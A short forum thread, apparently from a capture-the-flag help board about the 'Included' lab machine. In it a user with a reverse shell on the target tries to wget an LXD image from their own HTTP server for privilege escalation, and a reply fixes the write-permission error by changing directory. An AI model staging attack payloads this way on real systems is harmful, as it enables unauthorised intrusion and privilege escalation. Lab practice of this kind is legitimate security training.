Starting Point - Included Machine

Aloha…

Having some difficulty with:

When run on target machine through reverse shell… I receive the following response:

mike@included:/$ wget http://{local_IP}:8000/lxd.tar.xz
wget http://{local_IP}:8000/lxd.tar.xz
–2021-12-17 06:39:33-- http://{local_IP}:8000/lxd.tar.xz
Connecting to {local_IP}:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 852 [application/x-xz]
lxd.tar.xz: Permission denied

Cannot write to ‘lxd.tar.xz’ (Permission denied).

Have tried:

  1. change file permissions
  2. root launching python3 -m http.server 8000 from alpine
  3. tried sudo on target terminal

Any advise is greatly appreciated.
Mahalo. Big thanks…

You are in a wrong directory and you don’t have write permissions there. Just switch to the home dir before the download: cd ~

1 Like